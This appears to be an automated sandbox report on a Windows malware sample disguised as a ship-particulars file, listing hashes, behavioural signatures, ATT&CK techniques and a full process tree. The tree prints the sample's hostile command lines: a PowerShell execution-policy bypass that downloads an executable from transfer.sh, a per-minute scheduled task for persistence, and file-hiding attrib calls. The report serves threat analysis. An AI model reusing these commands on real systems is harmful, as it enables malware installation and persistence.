1b3a7ad1a4ae68d5b36ff60cbaee121381fb4a7a75dbe9eb0edcb93bcec5cf5a

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-en-20211208
submitted
07/01/2022, 14:41

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General

Target
MV.VOSCO UNITY V.0122 - ship particulars.exe
Size 702KB
Sample220107-r2fd2scgcq
SHA256 1b3a7ad1a4ae68d5b36ff60cbaee121381fb4a7a75dbe9eb0edcb93bcec5cf5a
MD5 12b3a8dd0e6d29455b9035807bbeb3f2
SHA1 0067de903763f93ca400f384ef4faa6dc34e2b2a
SHA512 8959b63388e7106461ce0173d27798fba6d95e7f2b18fa7f1b4f2e6909fe2aee4d7140af8f9021498782bf472ab9ced430849e08c483d8dbd218927600a863c5
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1740	rr4dc.exe
588	rr4dc.exe

Loads dropped DLL 1 IoCs

pid	Process
1740	rr4dc.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\dsfdsf.txt	rr4dc.exe
File created	C:\Windows\SysWOW64\sssssdfsdfsssss.txt	rr4dc.exe
File created	C:\Windows\SysWOW64\ssssdfsdfssssss.txt	rr4dc.exe
File created	C:\Windows\SysWOW64\ssssdfsdfsdssssss.txt	rr4dc.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1308 set thread context of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1740 set thread context of 588	1740	rr4dc.exe	45

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1700	schtasks.exe
1080	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1772	timeout.exe
1132	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1508	powershell.exe
1728	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	1740	rr4dc.exe
Token: SeDebugPrivilege	1728	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 1308 wrote to memory of 668	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	27
PID 668 wrote to memory of 1556	668	MV.VOSCO UNITY V.0122 - ship particulars.exe	28
PID 668 wrote to memory of 1556	668	MV.VOSCO UNITY V.0122 - ship particulars.exe	28
PID 668 wrote to memory of 1556	668	MV.VOSCO UNITY V.0122 - ship particulars.exe	28
PID 668 wrote to memory of 1556	668	MV.VOSCO UNITY V.0122 - ship particulars.exe	28
PID 1556 wrote to memory of 708	1556	cmd.exe	30
PID 1556 wrote to memory of 708	1556	cmd.exe	30
PID 1556 wrote to memory of 708	1556	cmd.exe	30
PID 1556 wrote to memory of 1508	1556	cmd.exe	31
PID 1556 wrote to memory of 1508	1556	cmd.exe	31
PID 1556 wrote to memory of 1508	1556	cmd.exe	31
PID 1308 wrote to memory of 1684	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	33
PID 1308 wrote to memory of 1684	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	33
PID 1308 wrote to memory of 1684	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	33
PID 1308 wrote to memory of 1684	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	33
PID 1308 wrote to memory of 872	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	35
PID 1308 wrote to memory of 872	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	35
PID 1308 wrote to memory of 872	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	35
PID 1308 wrote to memory of 872	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	35
PID 1308 wrote to memory of 1876	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	36
PID 1308 wrote to memory of 1876	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	36
PID 1308 wrote to memory of 1876	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	36
PID 1308 wrote to memory of 1876	1308	MV.VOSCO UNITY V.0122 - ship particulars.exe	36
PID 872 wrote to memory of 1700	872	cmd.exe	39
PID 872 wrote to memory of 1700	872	cmd.exe	39
PID 872 wrote to memory of 1700	872	cmd.exe	39
PID 872 wrote to memory of 1700	872	cmd.exe	39
PID 1556 wrote to memory of 1772	1556	cmd.exe	40
PID 1556 wrote to memory of 1772	1556	cmd.exe	40
PID 1556 wrote to memory of 1772	1556	cmd.exe	40
PID 2016 wrote to memory of 1740	2016	taskeng.exe	42
PID 2016 wrote to memory of 1740	2016	taskeng.exe	42
PID 2016 wrote to memory of 1740	2016	taskeng.exe	42
PID 2016 wrote to memory of 1740	2016	taskeng.exe	42
PID 2016 wrote to memory of 1740	2016	taskeng.exe	42
PID 2016 wrote to memory of 1740	2016	taskeng.exe	42
PID 2016 wrote to memory of 1740	2016	taskeng.exe	42
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45
PID 1740 wrote to memory of 588	1740	rr4dc.exe	45

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
708	attrib.exe
1016	attrib.exe

C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe
"C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1308
- C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe
  "C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:668
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4347.tmp\4348.tmp\4349.bat "C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Windows\system32\attrib.exe
      attrib +h sham
      4⤵
      Views/modifies file attributes
      PID:708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -exec bypass "Invoke-WebRequest -OutFile kmshost.exe -Uri https://transfer.sh/NsVIp6/kmshost.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1508
  - - C:\Windows\system32\timeout.exe
      timeout /t 15 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1772
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\rr4dc"
  2⤵
  PID:1684
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe'" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe'" /f
    3⤵
    - Creates scheduled task(s)
    PID:1700
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe" "C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe"
  2⤵
  PID:1876

C:\Windows\system32\taskeng.exe
taskeng.exe {696EB819-BED1-43F6-87CF-7E8B836FAF0A} S-1-5-21-3846991908-3261386348-1409841751-1000:VQVVOAJK\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe
  C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe
    "C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe"
    3⤵
    - Executes dropped EXE
    PID:588
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E4D3.tmp\E4D4.tmp\E4D5.bat C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe"
      4⤵
      PID:1816
    - - C:\Windows\system32\attrib.exe
        
        attrib +h sham
        5⤵
        Views/modifies file attributes
        
        PID:1016
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -exec bypass "Invoke-WebRequest -OutFile kmshost.exe -Uri https://transfer.sh/NsVIp6/kmshost.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1728
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 15 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1132
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\rr4dc"
    3⤵
    PID:1184
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe'" /f
    3⤵
    PID:1764
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe'" /f
      4⤵
      Creates scheduled task(s)
      PID:1080
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c copy "C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe" "C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe"
    3⤵
    PID:2004

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Hidden Files and Directories

T1158

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/588-111-0x0000000000400000-0x0000000000419000-memory.dmp

Download

memory/668-65-0x0000000076451000-0x0000000076453000-memory.dmp

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memory/668-66-0x0000000000400000-0x0000000000419000-memory.dmp

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memory/668-63-0x0000000000400000-0x0000000000419000-memory.dmp

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memory/668-62-0x0000000000400000-0x0000000000419000-memory.dmp

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memory/668-61-0x0000000000400000-0x0000000000419000-memory.dmp

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memory/668-60-0x0000000000400000-0x0000000000419000-memory.dmp

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memory/668-59-0x0000000000400000-0x0000000000419000-memory.dmp

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memory/668-58-0x0000000000400000-0x0000000000419000-memory.dmp

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memory/668-57-0x0000000000400000-0x0000000000419000-memory.dmp

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memory/1308-55-0x0000000000890000-0x0000000000944000-memory.dmp

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memory/1308-54-0x0000000000890000-0x0000000000944000-memory.dmp

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memory/1308-56-0x0000000004BD0000-0x0000000004BD1000-memory.dmp

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memory/1508-73-0x000000001B720000-0x000000001BA1F000-memory.dmp

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memory/1508-75-0x00000000024B2000-0x00000000024B4000-memory.dmp

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memory/1508-76-0x00000000024B4000-0x00000000024B7000-memory.dmp

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memory/1508-82-0x00000000024BB000-0x00000000024DA000-memory.dmp

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memory/1508-74-0x00000000024B0000-0x00000000024B2000-memory.dmp

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memory/1508-72-0x000007FEF3680000-0x000007FEF41DD000-memory.dmp

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memory/1508-71-0x000007FEFC2B1000-0x000007FEFC2B3000-memory.dmp

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memory/1728-115-0x0000000002872000-0x0000000002874000-memory.dmp

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memory/1728-112-0x000007FEF2CE0000-0x000007FEF383D000-memory.dmp

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memory/1728-114-0x0000000002870000-0x0000000002872000-memory.dmp

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memory/1728-116-0x0000000002874000-0x0000000002877000-memory.dmp

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memory/1728-117-0x000000000287B000-0x000000000289A000-memory.dmp

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memory/1740-89-0x0000000001040000-0x0000000001041000-memory.dmp

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memory/1740-88-0x00000000010D0000-0x0000000001184000-memory.dmp

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memory/1740-87-0x00000000010D0000-0x0000000001184000-memory.dmp

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